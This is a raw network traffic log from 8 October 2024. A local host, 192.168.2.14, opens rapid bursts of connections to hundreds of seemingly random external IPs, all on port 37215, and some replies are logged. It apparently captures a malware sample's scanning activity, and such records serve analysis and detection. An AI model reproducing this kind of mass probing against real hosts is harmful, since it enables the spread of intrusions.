Oct 8, 2024 20:34:54.543709993 CEST	48169	37215	192.168.2.14	197.237.211.200
Oct 8, 2024 20:34:54.543720007 CEST	48169	37215	192.168.2.14	41.80.47.228
Oct 8, 2024 20:34:54.543720007 CEST	48169	37215	192.168.2.14	156.168.16.72
Oct 8, 2024 20:34:54.543726921 CEST	48169	37215	192.168.2.14	41.204.185.97
Oct 8, 2024 20:34:54.543737888 CEST	48169	37215	192.168.2.14	156.29.171.88
Oct 8, 2024 20:34:54.543742895 CEST	48169	37215	192.168.2.14	41.169.187.119
Oct 8, 2024 20:34:54.543742895 CEST	48169	37215	192.168.2.14	41.81.80.90
Oct 8, 2024 20:34:54.543751955 CEST	48169	37215	192.168.2.14	156.35.20.219
Oct 8, 2024 20:34:54.543751955 CEST	48169	37215	192.168.2.14	156.150.162.140
Oct 8, 2024 20:34:54.543770075 CEST	48169	37215	192.168.2.14	156.24.153.6
Oct 8, 2024 20:34:54.543770075 CEST	48169	37215	192.168.2.14	156.191.193.2
Oct 8, 2024 20:34:54.543788910 CEST	48169	37215	192.168.2.14	41.169.49.139
Oct 8, 2024 20:34:54.543795109 CEST	48169	37215	192.168.2.14	156.50.240.149
Oct 8, 2024 20:34:54.543797016 CEST	48169	37215	192.168.2.14	41.97.149.32
Oct 8, 2024 20:34:54.543802023 CEST	48169	37215	192.168.2.14	197.195.70.71
Oct 8, 2024 20:34:54.543802023 CEST	48169	37215	192.168.2.14	41.84.166.60
Oct 8, 2024 20:34:54.543804884 CEST	48169	37215	192.168.2.14	156.15.249.178
Oct 8, 2024 20:34:54.543804884 CEST	48169	37215	192.168.2.14	156.5.244.231
Oct 8, 2024 20:34:54.543814898 CEST	48169	37215	192.168.2.14	41.96.66.42
Oct 8, 2024 20:34:54.543817043 CEST	48169	37215	192.168.2.14	41.3.226.171
Oct 8, 2024 20:34:54.543833017 CEST	48169	37215	192.168.2.14	197.170.95.40
Oct 8, 2024 20:34:54.543836117 CEST	48169	37215	192.168.2.14	197.64.59.175
Oct 8, 2024 20:34:54.543838978 CEST	48169	37215	192.168.2.14	197.0.167.250
Oct 8, 2024 20:34:54.543843031 CEST	48169	37215	192.168.2.14	156.40.73.226
Oct 8, 2024 20:34:54.543845892 CEST	48169	37215	192.168.2.14	41.222.53.161
Oct 8, 2024 20:34:54.543853045 CEST	48169	37215	192.168.2.14	41.55.123.137
Oct 8, 2024 20:34:54.543860912 CEST	48169	37215	192.168.2.14	41.95.247.165
Oct 8, 2024 20:34:54.543867111 CEST	48169	37215	192.168.2.14	197.99.184.88
Oct 8, 2024 20:34:54.543876886 CEST	48169	37215	192.168.2.14	41.95.237.148
Oct 8, 2024 20:34:54.543876886 CEST	48169	37215	192.168.2.14	156.106.143.32
Oct 8, 2024 20:34:54.543876886 CEST	48169	37215	192.168.2.14	41.61.11.190
Oct 8, 2024 20:34:54.543896914 CEST	48169	37215	192.168.2.14	156.117.84.94
Oct 8, 2024 20:34:54.543898106 CEST	48169	37215	192.168.2.14	41.97.108.253
Oct 8, 2024 20:34:54.543896914 CEST	48169	37215	192.168.2.14	41.68.43.43
Oct 8, 2024 20:34:54.543916941 CEST	48169	37215	192.168.2.14	41.245.149.215
Oct 8, 2024 20:34:54.543920040 CEST	48169	37215	192.168.2.14	156.213.204.129
Oct 8, 2024 20:34:54.543920994 CEST	48169	37215	192.168.2.14	197.22.218.58
Oct 8, 2024 20:34:54.543920994 CEST	48169	37215	192.168.2.14	197.167.119.229
Oct 8, 2024 20:34:54.543924093 CEST	48169	37215	192.168.2.14	156.27.59.18
Oct 8, 2024 20:34:54.543926001 CEST	48169	37215	192.168.2.14	197.183.25.212
Oct 8, 2024 20:34:54.543931007 CEST	48169	37215	192.168.2.14	156.67.230.43
Oct 8, 2024 20:34:54.543946028 CEST	48169	37215	192.168.2.14	156.117.10.121
Oct 8, 2024 20:34:54.543950081 CEST	48169	37215	192.168.2.14	41.174.111.91
Oct 8, 2024 20:34:54.543967962 CEST	48169	37215	192.168.2.14	41.164.218.227
Oct 8, 2024 20:34:54.543967962 CEST	48169	37215	192.168.2.14	197.110.166.54
Oct 8, 2024 20:34:54.543971062 CEST	48169	37215	192.168.2.14	156.208.25.137
Oct 8, 2024 20:34:54.543973923 CEST	48169	37215	192.168.2.14	156.244.58.182
Oct 8, 2024 20:34:54.543975115 CEST	48169	37215	192.168.2.14	197.188.158.177
Oct 8, 2024 20:34:54.543975115 CEST	48169	37215	192.168.2.14	156.254.12.112
Oct 8, 2024 20:34:54.543986082 CEST	48169	37215	192.168.2.14	156.76.83.155
Oct 8, 2024 20:34:54.543992043 CEST	48169	37215	192.168.2.14	156.124.26.38
Oct 8, 2024 20:34:54.544001102 CEST	48169	37215	192.168.2.14	41.70.56.51
Oct 8, 2024 20:34:54.544001102 CEST	48169	37215	192.168.2.14	197.32.54.38
Oct 8, 2024 20:34:54.544004917 CEST	48169	37215	192.168.2.14	197.161.117.31
Oct 8, 2024 20:34:54.544015884 CEST	48169	37215	192.168.2.14	41.204.176.242
Oct 8, 2024 20:34:54.544020891 CEST	48169	37215	192.168.2.14	156.63.49.203
Oct 8, 2024 20:34:54.544034004 CEST	48169	37215	192.168.2.14	197.111.202.217
Oct 8, 2024 20:34:54.544034004 CEST	48169	37215	192.168.2.14	197.102.16.116
Oct 8, 2024 20:34:54.544039011 CEST	48169	37215	192.168.2.14	41.50.253.98
Oct 8, 2024 20:34:54.544039011 CEST	48169	37215	192.168.2.14	41.240.44.47
Oct 8, 2024 20:34:54.544047117 CEST	48169	37215	192.168.2.14	197.160.91.104
Oct 8, 2024 20:34:54.544053078 CEST	48169	37215	192.168.2.14	197.0.234.44
Oct 8, 2024 20:34:54.544063091 CEST	48169	37215	192.168.2.14	41.214.241.129
Oct 8, 2024 20:34:54.544075966 CEST	48169	37215	192.168.2.14	156.71.204.54
Oct 8, 2024 20:34:54.544081926 CEST	48169	37215	192.168.2.14	41.137.211.24
Oct 8, 2024 20:34:54.544097900 CEST	48169	37215	192.168.2.14	197.220.72.206
Oct 8, 2024 20:34:54.544100046 CEST	48169	37215	192.168.2.14	41.57.126.8
Oct 8, 2024 20:34:54.544101954 CEST	48169	37215	192.168.2.14	41.98.111.72
Oct 8, 2024 20:34:54.544105053 CEST	48169	37215	192.168.2.14	197.232.97.110
Oct 8, 2024 20:34:54.544105053 CEST	48169	37215	192.168.2.14	156.169.26.3
Oct 8, 2024 20:34:54.544117928 CEST	48169	37215	192.168.2.14	41.99.4.225
Oct 8, 2024 20:34:54.544118881 CEST	48169	37215	192.168.2.14	41.169.32.230
Oct 8, 2024 20:34:54.544123888 CEST	48169	37215	192.168.2.14	156.156.221.128
Oct 8, 2024 20:34:54.544123888 CEST	48169	37215	192.168.2.14	41.201.254.34
Oct 8, 2024 20:34:54.544131994 CEST	48169	37215	192.168.2.14	41.197.89.195
Oct 8, 2024 20:34:54.544136047 CEST	48169	37215	192.168.2.14	197.241.1.96
Oct 8, 2024 20:34:54.544138908 CEST	48169	37215	192.168.2.14	156.136.182.53
Oct 8, 2024 20:34:54.544142008 CEST	48169	37215	192.168.2.14	41.20.165.251
Oct 8, 2024 20:34:54.544156075 CEST	48169	37215	192.168.2.14	41.212.130.172
Oct 8, 2024 20:34:54.544156075 CEST	48169	37215	192.168.2.14	156.189.70.92
Oct 8, 2024 20:34:54.544173002 CEST	48169	37215	192.168.2.14	156.50.3.172
Oct 8, 2024 20:34:54.544174910 CEST	48169	37215	192.168.2.14	156.32.128.136
Oct 8, 2024 20:34:54.544177055 CEST	48169	37215	192.168.2.14	156.244.239.60
Oct 8, 2024 20:34:54.544189930 CEST	48169	37215	192.168.2.14	197.226.83.142
Oct 8, 2024 20:34:54.544189930 CEST	48169	37215	192.168.2.14	156.115.1.26
Oct 8, 2024 20:34:54.544195890 CEST	48169	37215	192.168.2.14	197.24.57.21
Oct 8, 2024 20:34:54.544198036 CEST	48169	37215	192.168.2.14	156.3.102.241
Oct 8, 2024 20:34:54.544203997 CEST	48169	37215	192.168.2.14	197.167.187.90
Oct 8, 2024 20:34:54.544210911 CEST	48169	37215	192.168.2.14	156.23.199.228
Oct 8, 2024 20:34:54.544210911 CEST	48169	37215	192.168.2.14	197.11.86.15
Oct 8, 2024 20:34:54.544229031 CEST	48169	37215	192.168.2.14	156.155.128.116
Oct 8, 2024 20:34:54.544230938 CEST	48169	37215	192.168.2.14	156.42.228.254
Oct 8, 2024 20:34:54.544230938 CEST	48169	37215	192.168.2.14	41.80.239.72
Oct 8, 2024 20:34:54.544231892 CEST	48169	37215	192.168.2.14	197.148.109.55
Oct 8, 2024 20:34:54.544231892 CEST	48169	37215	192.168.2.14	197.224.192.54
Oct 8, 2024 20:34:54.544250011 CEST	48169	37215	192.168.2.14	197.48.228.105
Oct 8, 2024 20:34:54.544250011 CEST	48169	37215	192.168.2.14	156.204.57.252
Oct 8, 2024 20:34:54.544250011 CEST	48169	37215	192.168.2.14	156.116.84.174
Oct 8, 2024 20:34:54.544262886 CEST	48169	37215	192.168.2.14	41.66.40.34
Oct 8, 2024 20:34:54.544265032 CEST	48169	37215	192.168.2.14	197.164.236.6
Oct 8, 2024 20:34:54.544265032 CEST	48169	37215	192.168.2.14	197.182.125.200
Oct 8, 2024 20:34:54.544266939 CEST	48169	37215	192.168.2.14	156.84.185.1
Oct 8, 2024 20:34:54.544270992 CEST	48169	37215	192.168.2.14	197.67.45.227
Oct 8, 2024 20:34:54.544270992 CEST	48169	37215	192.168.2.14	197.248.163.159
Oct 8, 2024 20:34:54.544285059 CEST	48169	37215	192.168.2.14	41.179.129.146
Oct 8, 2024 20:34:54.544285059 CEST	48169	37215	192.168.2.14	197.41.243.114
Oct 8, 2024 20:34:54.544286013 CEST	48169	37215	192.168.2.14	197.158.29.17
Oct 8, 2024 20:34:54.544313908 CEST	48169	37215	192.168.2.14	156.13.221.249
Oct 8, 2024 20:34:54.544313908 CEST	48169	37215	192.168.2.14	41.211.174.23
Oct 8, 2024 20:34:54.544313908 CEST	48169	37215	192.168.2.14	156.163.106.158
Oct 8, 2024 20:34:54.544317961 CEST	48169	37215	192.168.2.14	41.101.108.114
Oct 8, 2024 20:34:54.544317961 CEST	48169	37215	192.168.2.14	156.138.149.119
Oct 8, 2024 20:34:54.544331074 CEST	48169	37215	192.168.2.14	41.85.60.239
Oct 8, 2024 20:34:54.544331074 CEST	48169	37215	192.168.2.14	197.132.202.249
Oct 8, 2024 20:34:54.544337034 CEST	48169	37215	192.168.2.14	156.112.54.230
Oct 8, 2024 20:34:54.544337034 CEST	48169	37215	192.168.2.14	41.143.63.144
Oct 8, 2024 20:34:54.544338942 CEST	48169	37215	192.168.2.14	156.222.31.250
Oct 8, 2024 20:34:54.544343948 CEST	48169	37215	192.168.2.14	197.233.17.55
Oct 8, 2024 20:34:54.544347048 CEST	48169	37215	192.168.2.14	156.230.244.209
Oct 8, 2024 20:34:54.544352055 CEST	48169	37215	192.168.2.14	41.110.42.133
Oct 8, 2024 20:34:54.544356108 CEST	48169	37215	192.168.2.14	156.68.235.251
Oct 8, 2024 20:34:54.544370890 CEST	48169	37215	192.168.2.14	156.102.193.229
Oct 8, 2024 20:34:54.544377089 CEST	48169	37215	192.168.2.14	156.77.209.75
Oct 8, 2024 20:34:54.544384003 CEST	48169	37215	192.168.2.14	156.144.197.120
Oct 8, 2024 20:34:54.544390917 CEST	48169	37215	192.168.2.14	197.254.111.175
Oct 8, 2024 20:34:54.544390917 CEST	48169	37215	192.168.2.14	156.94.63.117
Oct 8, 2024 20:34:54.544390917 CEST	48169	37215	192.168.2.14	197.197.207.99
Oct 8, 2024 20:34:54.544405937 CEST	48169	37215	192.168.2.14	41.224.71.204
Oct 8, 2024 20:34:54.544409037 CEST	48169	37215	192.168.2.14	156.122.59.6
Oct 8, 2024 20:34:54.544424057 CEST	48169	37215	192.168.2.14	197.145.255.0
Oct 8, 2024 20:34:54.544425964 CEST	48169	37215	192.168.2.14	197.127.188.44
Oct 8, 2024 20:34:54.544430017 CEST	48169	37215	192.168.2.14	156.104.167.91
Oct 8, 2024 20:34:54.544431925 CEST	48169	37215	192.168.2.14	41.170.56.232
Oct 8, 2024 20:34:54.544446945 CEST	48169	37215	192.168.2.14	41.238.136.221
Oct 8, 2024 20:34:54.544449091 CEST	48169	37215	192.168.2.14	197.40.51.214
Oct 8, 2024 20:34:54.544450045 CEST	48169	37215	192.168.2.14	197.105.142.160
Oct 8, 2024 20:34:54.544462919 CEST	48169	37215	192.168.2.14	156.155.115.100
Oct 8, 2024 20:34:54.544462919 CEST	48169	37215	192.168.2.14	197.42.116.18
Oct 8, 2024 20:34:54.544467926 CEST	48169	37215	192.168.2.14	156.34.162.68
Oct 8, 2024 20:34:54.544473886 CEST	48169	37215	192.168.2.14	41.166.159.234
Oct 8, 2024 20:34:54.544481993 CEST	48169	37215	192.168.2.14	41.143.87.136
Oct 8, 2024 20:34:54.544580936 CEST	59892	37215	192.168.2.14	156.32.183.41
Oct 8, 2024 20:34:54.544591904 CEST	59892	37215	192.168.2.14	156.32.183.41
Oct 8, 2024 20:34:54.545069933 CEST	60328	37215	192.168.2.14	156.32.183.41
Oct 8, 2024 20:34:54.545588017 CEST	37215	60178	156.223.144.169	192.168.2.14
Oct 8, 2024 20:34:54.545914888 CEST	37215	60606	156.223.144.169	192.168.2.14
Oct 8, 2024 20:34:54.545945883 CEST	37215	58854	156.36.221.25	192.168.2.14
Oct 8, 2024 20:34:54.545975924 CEST	37215	59282	156.36.221.25	192.168.2.14
Oct 8, 2024 20:34:54.546009064 CEST	60606	37215	192.168.2.14	156.223.144.169
Oct 8, 2024 20:34:54.546046972 CEST	60606	37215	192.168.2.14	156.223.144.169
Oct 8, 2024 20:34:54.546050072 CEST	59282	37215	192.168.2.14	156.36.221.25
Oct 8, 2024 20:34:54.546050072 CEST	59282	37215	192.168.2.14	156.36.221.25
Oct 8, 2024 20:34:54.546055079 CEST	37215	37752	156.124.250.23	192.168.2.14
Oct 8, 2024 20:34:54.546698093 CEST	37215	38180	156.124.250.23	192.168.2.14
Oct 8, 2024 20:34:54.546727896 CEST	37215	53232	197.193.39.52	192.168.2.14
Oct 8, 2024 20:34:54.546751976 CEST	38180	37215	192.168.2.14	156.124.250.23
Oct 8, 2024 20:34:54.546757936 CEST	37215	53660	197.193.39.52	192.168.2.14
Oct 8, 2024 20:34:54.546777964 CEST	38180	37215	192.168.2.14	156.124.250.23
Oct 8, 2024 20:34:54.546794891 CEST	37215	43924	156.207.208.73	192.168.2.14
Oct 8, 2024 20:34:54.546801090 CEST	53660	37215	192.168.2.14	197.193.39.52
Oct 8, 2024 20:34:54.546823025 CEST	53660	37215	192.168.2.14	197.193.39.52
Oct 8, 2024 20:34:54.546967030 CEST	37215	44352	156.207.208.73	192.168.2.14
Oct 8, 2024 20:34:54.546996117 CEST	37215	44898	156.36.51.231	192.168.2.14
Oct 8, 2024 20:34:54.547027111 CEST	37215	45326	156.36.51.231	192.168.2.14
Oct 8, 2024 20:34:54.547029018 CEST	44352	37215	192.168.2.14	156.207.208.73
Oct 8, 2024 20:34:54.547049999 CEST	44352	37215	192.168.2.14	156.207.208.73
Oct 8, 2024 20:34:54.547090054 CEST	45326	37215	192.168.2.14	156.36.51.231
Oct 8, 2024 20:34:54.547090054 CEST	45326	37215	192.168.2.14	156.36.51.231
Oct 8, 2024 20:34:54.547472954 CEST	37215	39124	197.84.216.15	192.168.2.14
Oct 8, 2024 20:34:54.547503948 CEST	37215	39534	197.84.216.15	192.168.2.14
Oct 8, 2024 20:34:54.547530890 CEST	37215	38768	156.199.215.78	192.168.2.14
Oct 8, 2024 20:34:54.547549963 CEST	39534	37215	192.168.2.14	197.84.216.15
Oct 8, 2024 20:34:54.547559977 CEST	37215	39178	156.199.215.78	192.168.2.14
Oct 8, 2024 20:34:54.547585964 CEST	39534	37215	192.168.2.14	197.84.216.15
Oct 8, 2024 20:34:54.547595024 CEST	39178	37215	192.168.2.14	156.199.215.78
Oct 8, 2024 20:34:54.547625065 CEST	39178	37215	192.168.2.14	156.199.215.78
Oct 8, 2024 20:34:54.548480034 CEST	37215	60646	156.184.134.85	192.168.2.14
Oct 8, 2024 20:34:54.548510075 CEST	37215	32822	156.184.134.85	192.168.2.14
Oct 8, 2024 20:34:54.548538923 CEST	37215	48208	41.124.133.105	192.168.2.14
Oct 8, 2024 20:34:54.548567057 CEST	37215	48612	41.124.133.105	192.168.2.14
Oct 8, 2024 20:34:54.548588991 CEST	32822	37215	192.168.2.14	156.184.134.85
Oct 8, 2024 20:34:54.548588991 CEST	32822	37215	192.168.2.14	156.184.134.85
Oct 8, 2024 20:34:54.548598051 CEST	37215	48169	156.125.110.190	192.168.2.14
Oct 8, 2024 20:34:54.548629999 CEST	37215	48169	41.219.111.19	192.168.2.14
Oct 8, 2024 20:34:54.548638105 CEST	48612	37215	192.168.2.14	41.124.133.105
Oct 8, 2024 20:34:54.548638105 CEST	48612	37215	192.168.2.14	41.124.133.105
Oct 8, 2024 20:34:54.548656940 CEST	48169	37215	192.168.2.14	156.125.110.190
Oct 8, 2024 20:34:54.548659086 CEST	37215	48169	156.103.50.200	192.168.2.14
Oct 8, 2024 20:34:54.548666000 CEST	48169	37215	192.168.2.14	41.219.111.19
Oct 8, 2024 20:34:54.548711061 CEST	37215	48169	156.161.55.245	192.168.2.14
Oct 8, 2024 20:34:54.548717022 CEST	48169	37215	192.168.2.14	156.103.50.200
Oct 8, 2024 20:34:54.548727036 CEST	37215	48169	41.113.31.144	192.168.2.14
Oct 8, 2024 20:34:54.548747063 CEST	48169	37215	192.168.2.14	156.161.55.245
Oct 8, 2024 20:34:54.548755884 CEST	37215	48169	41.131.40.164	192.168.2.14
Oct 8, 2024 20:34:54.548780918 CEST	48169	37215	192.168.2.14	41.113.31.144
Oct 8, 2024 20:34:54.548785925 CEST	37215	48169	197.163.232.58	192.168.2.14
Oct 8, 2024 20:34:54.548798084 CEST	48169	37215	192.168.2.14	41.131.40.164
Oct 8, 2024 20:34:54.548857927 CEST	48169	37215	192.168.2.14	197.163.232.58
Oct 8, 2024 20:34:54.549005985 CEST	53542	37215	192.168.2.14	156.125.110.190
Oct 8, 2024 20:34:54.549680948 CEST	37215	48169	156.126.200.175	192.168.2.14
Oct 8, 2024 20:34:54.549710989 CEST	37215	48169	41.168.12.102	192.168.2.14
Oct 8, 2024 20:34:54.549725056 CEST	48169	37215	192.168.2.14	156.126.200.175
Oct 8, 2024 20:34:54.549741030 CEST	37215	48169	197.41.200.182	192.168.2.14
Oct 8, 2024 20:34:54.549757004 CEST	48169	37215	192.168.2.14	41.168.12.102
Oct 8, 2024 20:34:54.549771070 CEST	37215	48169	156.240.192.197	192.168.2.14
Oct 8, 2024 20:34:54.549784899 CEST	48169	37215	192.168.2.14	197.41.200.182
Oct 8, 2024 20:34:54.549802065 CEST	37215	48169	156.26.171.128	192.168.2.14
Oct 8, 2024 20:34:54.549815893 CEST	48169	37215	192.168.2.14	156.240.192.197
Oct 8, 2024 20:34:54.549832106 CEST	37215	48169	197.69.143.158	192.168.2.14
Oct 8, 2024 20:34:54.549848080 CEST	35418	37215	192.168.2.14	41.219.111.19
Oct 8, 2024 20:34:54.549861908 CEST	37215	48169	156.190.184.19	192.168.2.14
Oct 8, 2024 20:34:54.549870968 CEST	48169	37215	192.168.2.14	156.26.171.128
Oct 8, 2024 20:34:54.549870968 CEST	48169	37215	192.168.2.14	197.69.143.158
Oct 8, 2024 20:34:54.549890995 CEST	37215	48169	197.22.60.61	192.168.2.14
Oct 8, 2024 20:34:54.549902916 CEST	48169	37215	192.168.2.14	156.190.184.19
Oct 8, 2024 20:34:54.549921036 CEST	37215	48169	41.218.37.60	192.168.2.14
Oct 8, 2024 20:34:54.549935102 CEST	48169	37215	192.168.2.14	197.22.60.61
Oct 8, 2024 20:34:54.549949884 CEST	37215	48169	156.42.166.221	192.168.2.14
Oct 8, 2024 20:34:54.549959898 CEST	48169	37215	192.168.2.14	41.218.37.60
Oct 8, 2024 20:34:54.549981117 CEST	37215	48169	156.196.127.99	192.168.2.14
Oct 8, 2024 20:34:54.549992085 CEST	48169	37215	192.168.2.14	156.42.166.221
Oct 8, 2024 20:34:54.550012112 CEST	37215	48169	156.166.209.196	192.168.2.14
Oct 8, 2024 20:34:54.550020933 CEST	48169	37215	192.168.2.14	156.196.127.99
Oct 8, 2024 20:34:54.550054073 CEST	48169	37215	192.168.2.14	156.166.209.196
Oct 8, 2024 20:34:54.550082922 CEST	37215	48169	156.60.195.206	192.168.2.14
Oct 8, 2024 20:34:54.550112009 CEST	37215	48169	41.150.102.212	192.168.2.14
Oct 8, 2024 20:34:54.550117970 CEST	48169	37215	192.168.2.14	156.60.195.206
Oct 8, 2024 20:34:54.550141096 CEST	37215	48169	156.185.63.71	192.168.2.14
Oct 8, 2024 20:34:54.550148964 CEST	48169	37215	192.168.2.14	41.150.102.212
Oct 8, 2024 20:34:54.550170898 CEST	37215	48169	156.143.124.66	192.168.2.14
Oct 8, 2024 20:34:54.550183058 CEST	48169	37215	192.168.2.14	156.185.63.71
Oct 8, 2024 20:34:54.550200939 CEST	37215	48169	41.1.145.144	192.168.2.14
Oct 8, 2024 20:34:54.550206900 CEST	48169	37215	192.168.2.14	156.143.124.66
Oct 8, 2024 20:34:54.550230980 CEST	37215	48169	197.107.207.131	192.168.2.14
Oct 8, 2024 20:34:54.550260067 CEST	37215	48169	197.55.132.116	192.168.2.14
Oct 8, 2024 20:34:54.550278902 CEST	48169	37215	192.168.2.14	197.107.207.131
Oct 8, 2024 20:34:54.550287962 CEST	48169	37215	192.168.2.14	41.1.145.144
Oct 8, 2024 20:34:54.550296068 CEST	48169	37215	192.168.2.14	197.55.132.116
Oct 8, 2024 20:34:54.550329924 CEST	37215	48169	156.80.45.236	192.168.2.14
Oct 8, 2024 20:34:54.550362110 CEST	37215	48169	156.226.59.25	192.168.2.14
Oct 8, 2024 20:34:54.550394058 CEST	37215	48169	41.149.36.112	192.168.2.14
Oct 8, 2024 20:34:54.550417900 CEST	48169	37215	192.168.2.14	156.80.45.236
Oct 8, 2024 20:34:54.550424099 CEST	37215	48169	41.110.87.225	192.168.2.14
Oct 8, 2024 20:34:54.550441027 CEST	48169	37215	192.168.2.14	41.149.36.112
Oct 8, 2024 20:34:54.550445080 CEST	48169	37215	192.168.2.14	156.226.59.25
Oct 8, 2024 20:34:54.550453901 CEST	37215	48169	197.116.210.230	192.168.2.14
Oct 8, 2024 20:34:54.550462008 CEST	48169	37215	192.168.2.14	41.110.87.225
Oct 8, 2024 20:34:54.550482988 CEST	37215	48169	41.249.12.127	192.168.2.14
Oct 8, 2024 20:34:54.550487995 CEST	48169	37215	192.168.2.14	197.116.210.230
Oct 8, 2024 20:34:54.550510883 CEST	37215	59892	156.32.183.41	192.168.2.14
Oct 8, 2024 20:34:54.550525904 CEST	48169	37215	192.168.2.14	41.249.12.127
Oct 8, 2024 20:34:54.550604105 CEST	58900	37215	192.168.2.14	156.103.50.200
Oct 8, 2024 20:34:54.551428080 CEST	54588	37215	192.168.2.14	156.161.55.245
Oct 8, 2024 20:34:54.552917957 CEST	33972	37215	192.168.2.14	41.113.31.144
Oct 8, 2024 20:34:54.553430080 CEST	37215	60606	156.223.144.169	192.168.2.14
Oct 8, 2024 20:34:54.553483009 CEST	60606	37215	192.168.2.14	156.223.144.169
Oct 8, 2024 20:34:54.553617001 CEST	37215	59282	156.36.221.25	192.168.2.14
Oct 8, 2024 20:34:54.553659916 CEST	59282	37215	192.168.2.14	156.36.221.25
Oct 8, 2024 20:34:54.553756952 CEST	34060	37215	192.168.2.14	41.131.40.164
Oct 8, 2024 20:34:54.553931952 CEST	37215	38180	156.124.250.23	192.168.2.14
Oct 8, 2024 20:34:54.553977013 CEST	38180	37215	192.168.2.14	156.124.250.23
Oct 8, 2024 20:34:54.554397106 CEST	37215	53660	197.193.39.52	192.168.2.14
Oct 8, 2024 20:34:54.554435015 CEST	53660	37215	192.168.2.14	197.193.39.52
Oct 8, 2024 20:34:54.554510117 CEST	36556	37215	192.168.2.14	197.163.232.58
Oct 8, 2024 20:34:54.555001020 CEST	37215	44352	156.207.208.73	192.168.2.14
Oct 8, 2024 20:34:54.555043936 CEST	44352	37215	192.168.2.14	156.207.208.73
Oct 8, 2024 20:34:54.555413961 CEST	52292	37215	192.168.2.14	156.126.200.175
Oct 8, 2024 20:34:54.555852890 CEST	37215	45326	156.36.51.231	192.168.2.14
Oct 8, 2024 20:34:54.555902958 CEST	45326	37215	192.168.2.14	156.36.51.231
Oct 8, 2024 20:34:54.556176901 CEST	54546	37215	192.168.2.14	41.168.12.102
Oct 8, 2024 20:34:54.556478024 CEST	37215	54588	156.161.55.245	192.168.2.14
Oct 8, 2024 20:34:54.556529999 CEST	54588	37215	192.168.2.14	156.161.55.245
Oct 8, 2024 20:34:54.556915998 CEST	37215	39534	197.84.216.15	192.168.2.14
Oct 8, 2024 20:34:54.556931019 CEST	53964	37215	192.168.2.14	197.41.200.182
Oct 8, 2024 20:34:54.556962013 CEST	39534	37215	192.168.2.14	197.84.216.15
Oct 8, 2024 20:34:54.557601929 CEST	60550	37215	192.168.2.14	156.240.192.197
Oct 8, 2024 20:34:54.558300972 CEST	47336	37215	192.168.2.14	156.26.171.128
Oct 8, 2024 20:34:54.558994055 CEST	49546	37215	192.168.2.14	197.69.143.158
Oct 8, 2024 20:34:54.559142113 CEST	37215	39178	156.199.215.78	192.168.2.14
Oct 8, 2024 20:34:54.559190035 CEST	39178	37215	192.168.2.14	156.199.215.78
Oct 8, 2024 20:34:54.559401035 CEST	55680	37215	192.168.2.14	156.94.201.57
Oct 8, 2024 20:34:54.559417009 CEST	42756	37215	192.168.2.14	197.9.223.108
Oct 8, 2024 20:34:54.559418917 CEST	52262	37215	192.168.2.14	41.178.156.169
Oct 8, 2024 20:34:54.559418917 CEST	43646	37215	192.168.2.14	156.6.145.253
Oct 8, 2024 20:34:54.559418917 CEST	47910	37215	192.168.2.14	197.164.13.253
Oct 8, 2024 20:34:54.559423923 CEST	56684	37215	192.168.2.14	41.246.22.31
Oct 8, 2024 20:34:54.559427977 CEST	46124	37215	192.168.2.14	156.51.21.241
Oct 8, 2024 20:34:54.559433937 CEST	42454	37215	192.168.2.14	41.85.201.136
Oct 8, 2024 20:34:54.559443951 CEST	38862	37215	192.168.2.14	156.137.61.49
Oct 8, 2024 20:34:54.559447050 CEST	40738	37215	192.168.2.14	197.74.58.150
Oct 8, 2024 20:34:54.559454918 CEST	59944	37215	192.168.2.14	156.32.170.91
Oct 8, 2024 20:34:54.559454918 CEST	39210	37215	192.168.2.14	197.203.119.219
Oct 8, 2024 20:34:54.559457064 CEST	58956	37215	192.168.2.14	197.194.131.139
Oct 8, 2024 20:34:54.559458017 CEST	50726	37215	192.168.2.14	41.255.227.141
Oct 8, 2024 20:34:54.559473038 CEST	43452	37215	192.168.2.14	41.144.44.160
Oct 8, 2024 20:34:54.559473038 CEST	55020	37215	192.168.2.14	156.55.243.151
Oct 8, 2024 20:34:54.559489965 CEST	59006	37215	192.168.2.14	156.154.188.114
Oct 8, 2024 20:34:54.559497118 CEST	50898	37215	192.168.2.14	41.239.235.87
Oct 8, 2024 20:34:54.559497118 CEST	48642	37215	192.168.2.14	156.24.101.32
Oct 8, 2024 20:34:54.559501886 CEST	56098	37215	192.168.2.14	41.25.182.45
Oct 8, 2024 20:34:54.559501886 CEST	34400	37215	192.168.2.14	41.83.10.153
Oct 8, 2024 20:34:54.559508085 CEST	39258	37215	192.168.2.14	197.246.14.196
Oct 8, 2024 20:34:54.559509993 CEST	40774	37215	192.168.2.14	41.169.54.101
Oct 8, 2024 20:34:54.559511900 CEST	45096	37215	192.168.2.14	41.90.182.83
Oct 8, 2024 20:34:54.559516907 CEST	37215	48612	41.124.133.105	192.168.2.14
Oct 8, 2024 20:34:54.559525013 CEST	57180	37215	192.168.2.14	156.24.247.29
Oct 8, 2024 20:34:54.559525013 CEST	44708	37215	192.168.2.14	197.38.65.136
Oct 8, 2024 20:34:54.559525967 CEST	57480	37215	192.168.2.14	197.246.51.196
Oct 8, 2024 20:34:54.559525967 CEST	54346	37215	192.168.2.14	197.254.156.53
Oct 8, 2024 20:34:54.559544086 CEST	51614	37215	192.168.2.14	197.167.95.169
Oct 8, 2024 20:34:54.559544086 CEST	50820	37215	192.168.2.14	197.92.113.65
Oct 8, 2024 20:34:54.559546947 CEST	50646	37215	192.168.2.14	156.31.3.7
Oct 8, 2024 20:34:54.559549093 CEST	51668	37215	192.168.2.14	197.162.66.166
Oct 8, 2024 20:34:54.559551954 CEST	40492	37215	192.168.2.14	41.237.110.213
Oct 8, 2024 20:34:54.559559107 CEST	50096	37215	192.168.2.14	197.105.27.185
Oct 8, 2024 20:34:54.559567928 CEST	37215	32822	156.184.134.85	192.168.2.14
Oct 8, 2024 20:34:54.559567928 CEST	35188	37215	192.168.2.14	197.26.149.143
Oct 8, 2024 20:34:54.559567928 CEST	36674	37215	192.168.2.14	41.154.98.26
Oct 8, 2024 20:34:54.559568882 CEST	54460	37215	192.168.2.14	197.220.128.134
Oct 8, 2024 20:34:54.559573889 CEST	34064	37215	192.168.2.14	41.234.203.44
Oct 8, 2024 20:34:54.559581041 CEST	39796	37215	192.168.2.14	41.3.102.138
Oct 8, 2024 20:34:54.559590101 CEST	55584	37215	192.168.2.14	197.197.240.69
Oct 8, 2024 20:34:54.559590101 CEST	60896	37215	192.168.2.14	41.38.55.63
Oct 8, 2024 20:34:54.559607983 CEST	48994	37215	192.168.2.14	41.27.171.102
Oct 8, 2024 20:34:54.559618950 CEST	49930	37215	192.168.2.14	41.195.72.190
Oct 8, 2024 20:34:54.559619904 CEST	47766	37215	192.168.2.14	197.157.200.111
